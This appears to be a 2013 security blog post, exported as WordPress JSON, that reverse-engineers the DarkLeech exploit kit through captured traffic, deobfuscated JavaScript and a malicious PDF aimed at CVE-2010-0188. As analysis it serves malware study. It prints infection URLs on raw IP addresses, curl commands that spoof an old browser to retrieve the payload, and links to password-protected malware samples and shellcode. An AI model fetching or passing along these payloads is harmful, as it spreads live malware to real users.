{"id":460,"date":"2013-09-09T21:58:25","date_gmt":"2013-09-09T21:58:25","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=460"},"modified":"2013-09-26T06:28:08","modified_gmt":"2013-09-26T06:28:08","slug":"reversing-the-darkleech-exploit-kit","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2013\/09\/reversing-the-darkleech-exploit-kit\/","title":{"rendered":"Reversing The DarkLeech Exploit Kit"},"content":{"rendered":"<p>Hello again loyal readers!<\/p>\n<p>I have a treat for you. I encountered an exploit kit while doing my malware thing and decided to try and get a better idea of what is going on start to finish.<\/p>\n<p>I Watched a machine get exploited and fired up WireShark to watch:<br \/>\nGET http:\/\/68.178.166.11\/2b01554de28f018745855a41166494db\/lately-duplicate.php HTTP\/1.1<br \/>\nAccept: image\/gif, image\/x-xbitmap, image\/jpeg, image\/pjpeg, application\/x-shockwave-flash, application\/x-ms-application, application\/x-ms-xbap, application\/vnd.ms-xpsdocument, application\/xaml+xml, application\/vnd.ms-excel, application\/vnd.ms-powerpoint, application\/msword, (value not set), pronto\/1.00.00, *\/*<br \/>\nReferer: http:\/\/www.thaiairwaysusa.com\/<br \/>\nAccept-Language: en-us<br \/>\nUA-CPU: x86<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8)<br \/>\nProxy-Connection: Keep-Alive<br \/>\nHost: 68.178.166.11<br \/>\nPragma: no-cache<\/p>\n<p>http:\/\/68.178.166.11\/2b01554de28f018745855a41166494db\/lately-duplicate.php  is the infection URL<\/p>\n<p>First thing you notice is if you try and visit the page with wget or lynx or curl, you get nothing:<br \/>\njoe@gironsec:~$ curl http:\/\/68.178.166.11\/2b01554de28f018745855a41166494db\/lately-duplicate.php<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #557799\">&lt;!DOCTYPE HTML PUBLIC &quot;-\/\/IETF\/\/DTD HTML 2.0\/\/EN&quot;&gt;<\/span>\r\n<span style=\"color: #007700\">&lt;html&gt;&lt;head&gt;<\/span>\r\n<span style=\"color: #007700\">&lt;title&gt;<\/span>404 Not Found<span style=\"color: #007700\">&lt;\/title&gt;<\/span>\r\n<span style=\"color: #007700\">&lt;\/head&gt;&lt;body&gt;<\/span>\r\n<span style=\"color: #007700\">&lt;h1&gt;<\/span>Not Found<span style=\"color: #007700\">&lt;\/h1&gt;<\/span>\r\n<span style=\"color: #007700\">&lt;p&gt;<\/span>The requested URL \/2b01554de28f018745855a41166494db\/lately-duplicate.php was not found on this server.<span style=\"color: #007700\">&lt;\/p&gt;<\/span>\r\n<span style=\"color: #007700\">&lt;hr&gt;<\/span>\r\n<span style=\"color: #007700\">&lt;address&gt;<\/span>Apache\/2.2.8 (Fedora) Server at 68.178.166.11 Port 80<span style=\"color: #007700\">&lt;\/address&gt;<\/span>\r\n<span style=\"color: #007700\">&lt;\/body&gt;&lt;\/html&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>if you&#8217;re clever though, you&#8217;ll set the user agent string to something like oh i dont know, IE 5 and hope for the best:<br \/>\njoe@gironsec:~$ curl &#8211;user-agent &#8220;Mozilla\/4.0 (compatible; MSIE 5.01; Windows NT 5.0)&#8221; http:\/\/68.178.166.11\/2b01554de28f018745855a41166494db\/lately-duplicate.php|less<br \/>\nThis returns a java script file.<br \/>\nHere is the file:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/08\/darkleech.txt\">darkleech_first_js<\/a><br \/>\nOh shoot, its encrypted. But fear not, we can decrypt this easily. How?<br \/>\nJust replace the eval function with document.write!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/08\/decryptme.html\">decryptme<\/a><br \/>\nThis produced another javascript file.<br \/>\nhere it is prettified:<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/08\/darkleech_decrypted.txt\">darkleech_decrypted<\/a><br \/>\nthe code is a plugin detector for pdf files.<br \/>\nWhat stood out for me was the following:<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"> me <span style=\"background-color: #fff0f0\">&quot;);pifr.setAttribute(&#39;width&#39;, 11);pifr.setAttribute(&#39;height&#39;, 12);pifr.setAttribute(&#39;style&#39;, &quot;<\/span>\r\n                            top<span style=\"color: #333333\">:<\/span> <span style=\"color: #0000DD; font-weight: bold\">100<\/span>px; position<span style=\"color: #333333\">:<\/span> absolute <span style=\"background-color: #fff0f0\">&quot;);pifr.setAttribute(&#39;src&#39;, &quot;<\/span> <span style=\"color: #333333\">\/<\/span> <span style=\"color: #0000DD; font-weight: bold\">8<\/span>fad735e77b54494234fa5c82e5f4996 <span style=\"color: #333333\">\/<\/span> breeding <span style=\"color: #333333\">-<\/span> lecture.php <span style=\"color: #333333\">?<\/span> oocSsS <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">2<\/span>j2e542g53 <span style=\"color: #333333\">&amp;<\/span> VMTIP <span style=\"color: #333333\">=<\/span> k <span style=\"color: #333333\">&amp;<\/span> wuabRuEXEygOen <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">2<\/span>g55562e312f2j2j3155 <span style=\"color: #333333\">&amp;<\/span> bHXKmoLg <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">2<\/span>d2b2d2b2d2b2d <span style=\"background-color: #fff0f0\">&quot;);document.body.appendChild(pifr);}document.write(&#39;&#39;);setTimeout(end_redirect,61000);var javaver=window.pdpd.getVersion(&quot;<\/span>\r\n<\/pre>\n<\/div>\n<p>See it?<br \/>\nbreeding &#8211; lecture.php ? oocSsS = 2j2e542g53 &#038; VMTIP = k &#038; wuabRuEXEygOen = 2g55562e312f2j2j3155 &#038; bHXKmoLg = 2d2b2d2b2d2b2d<br \/>\nThese are GET request values.<br \/>\nWhen I curl&#8217;d the site with these values, it sent me a  file:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/09\/darkleech_pdf.7z\">darkleech_pdf<\/a>. Since I was being flagged by VirusTotal \/ WebSense, I&#8217;ve password protected the PDF file. the password is &#8216;gironsec&#8217;.<\/p>\n<p>The PDF file (which I didn&#8217;t open and neither should you) contained several instances of FlateDecode streams.<br \/>\nA FlateDecode stream is a section of a PDF file that contains something embedded inside. I assumed this was the payload:<br \/>\n41 0 obj<<\/Length 89\/Filter[\/FlateDecode]\/Type\/EmbeddedFile>>stream<br \/>\nH\u2030\u00b2\u00b1\u00af\u00c8\u00cdQ(K-*\u00ce\u00cc\u00cf\u00b3U2\u00d43PRH\u00cdK\u00ceO\u00c9\u00ccK\u00b7U<br \/>\nq\u00d3\u00b5P\u00b2\u00b7\u00e3\u00b2\u00a9H)\u00b0\u0002b\u0005\u00a0\u00ea\u00bcb\u0010\u00cbV)\u00a3\u00a4\u00a4\u00c0J_?\u00afX\/1%?)U\/9?W\u001f(\u00a1\u00afd\u0007\u0010`<br \/>\nendstream<br \/>\nendobj<\/p>\n<p>Since a FlateStream is just zlib \/ DEFLATE encoding, I used a great little tool http:\/\/blog.didierstevens.com\/programs\/pdf-tools\/ which ran against the pdf and showed me the true payload. More F&#8217;ing javascript. Of course its encrypted. Why wouldn&#8217;t it be?<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/08\/darkleech_pdf_decoded.txt\">darkleech_pdf_decoded<\/a><br \/>\nThis one was more interesting to decode.<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">if<\/span>(yy)xx<span style=\"color: #333333\">=<\/span>s[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>]<span style=\"color: #333333\">+<\/span><span style=\"background-color: #fff0f0\">&quot;\\\\x61&quot;<\/span>;\r\nxx<span style=\"color: #333333\">+=<\/span><span style=\"background-color: #fff0f0\">&quot;\\\\x6c&quot;<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">if<\/span>(yy){<span style=\"color: #008800; font-weight: bold\">function<\/span> XA(z,a,b){<span style=\"color: #008800; font-weight: bold\">return<\/span> ZA(a,b)};}\r\na<span style=\"color: #333333\">=<\/span>[XA(<span style=\"color: #0000DD; font-weight: bold\">0<\/span>,<span style=\"background-color: #fff0f0\">&quot;7&quot;<\/span>[<span style=\"color: #0000DD; font-weight: bold\">0<\/span>],<span style=\"background-color: #fff0f0\">&quot;16&quot;<\/span>) etc etc etc\r\n<\/pre>\n<\/div>\n<p>Broken down, the function does a string combine to form a hex character.<\/p>\n<p>Do decrypt, we do:<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">function<\/span> XA(z,a,b){\r\n\t<span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #007020\">parseInt<\/span>(a<span style=\"color: #333333\">+<\/span>b[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>], <span style=\"color: #0000DD; font-weight: bold\">16<\/span>)\r\n}\r\na<span style=\"color: #333333\">=<\/span>[XA(<span style=\"color: #0000DD; font-weight: bold\">0<\/span>,<span style=\"background-color: #fff0f0\">&quot;7&quot;<\/span>,<span style=\"background-color: #fff0f0\">&quot;16&quot;<\/span>),XA(<span style=\"color: #0000DD; font-weight: bold\">0<\/span>,<span style=\"background-color: #fff0f0\">&quot;6&quot;<\/span>,<span style=\"background-color: #fff0f0\">&quot;11&quot;<\/span>),XA(<span style=\"color: #0000DD; font-weight: bold\">0<\/span>,<span style=\"background-color: #fff0f0\">&quot;7&quot;<\/span>,<span style=\"background-color: #fff0f0\">&quot;12&quot;<\/span>),XA(<span style=\"color: #0000DD; font-weight: bold\">0<\/span>,<span style=\"background-color: #fff0f0\">&quot;2&quot;<\/span>,<span style=\"background-color: #fff0f0\">&quot;10&quot;<\/span>), etc etc etc\r\n\t<span style=\"color: #007020\">document<\/span>.write(<span style=\"color: #007020\">String<\/span>.fromCharCode.apply(<span style=\"color: #007020\">String<\/span>, a));\r\n<\/pre>\n<\/div>\n<p>The following html file decrypts:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/08\/test.html\">Decryptagain<\/a><\/p>\n<p>This produced another javascript file, this time what i think is the actual exploit.<br \/>\nIt is here:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/08\/decoded_js_pdf.txt\">decoded_js_pdf<\/a><br \/>\nSurprise, its encoded!<br \/>\nThe shell code, which trying to not look like shellcode is here:<br \/>\n(just did a binary paste into ollydbg and disassembled)<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/08\/payload_shellcode_from_pdf.txt\">payload_shellcode_from_pdf<\/a><\/p>\n<p>That was a crap load of work just to deliver an exploit. Not only that, I think I failed to disassemble \/ decrypt the final stage properly. I swear, the black hats are winning the war. They have more time on their hands. <\/p>\n<p>All files here:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/08\/darkleech_stuff.zip\">darkleech_stuff<\/a><br \/>\npassword is &#8216;lolwut&#8217;.<\/p>\n<p>The PDF exploit is trying to take advantage of this CVE: <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2010-0188\">CVE-2010-0188<\/a>.<\/p>\n<p>Alt download malware URI in case they took the main one down:<\/p>\n<pre>\r\nGET http:\/\/174.142.235.1\/c032df642295f9d35dee58bb00fd75cd\/paintings-jumping.php HTTP\/1.1::~~Accept: image\/gif, image\/jpeg, image\/pjpeg, image\/pjpeg, application\/vnd.ms-excel, application\/vnd.ms-powerpoint, application\/msword, application\/x-ms-application, application\/x-ms-xbap, application\/vnd.ms-xpsdocument, application\/xaml+xml, *\/*::~~Accept-Language: en-au::~~User-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 3.0.4\r\n<\/pre>\n<pre>\r\nGET http:\/\/67.228.244.162\/aa8b7a06fcf440a2dbc0981a2b8837c8\/pointer-exhibits.php HTTP\/1.1::~~Accept: image\/gif, image\/x-xbitmap, image\/jpeg, image\/pjpeg, application\/x-shockwave-flash, application\/x-ms-application, application\/x-ms-xbap, application\/vnd.ms-xpsdocument, application\/xaml+xml, application\/vnd.ms-excel, application\/vnd.ms-powerpoint, application\/msword, *\/*:~~Accept-Language: en-us::~~UA-CPU: x86::~~Accept-Encoding: gzip, deflate::~~User-Agent: Mozilla\/4.0 (compatible; MSIE 7.0;\r\n<\/pre>\n<p>Stay safe!<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/09\/Tka3P9j.gif\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/09\/Tka3P9j.gif\" alt=\"Tka3P9j\" width=\"480\" height=\"360\" class=\"alignnone size-full wp-image-501\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello again loyal readers! I have a treat for you. I encountered an exploit kit while doing my malware thing and decided to try and get a better idea of what is going on start to finish. I Watched a machine get exploited and fired up WireShark to watch: GET http:\/\/68.178.166.11\/2b01554de28f018745855a41166494db\/lately-duplicate.php HTTP\/1.1 Accept: image\/gif, image\/x-xbitmap, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/460"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=460"}],"version-history":[{"count":11,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/460\/revisions"}],"predecessor-version":[{"id":521,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/460\/revisions\/521"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=460"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=460"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=460"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}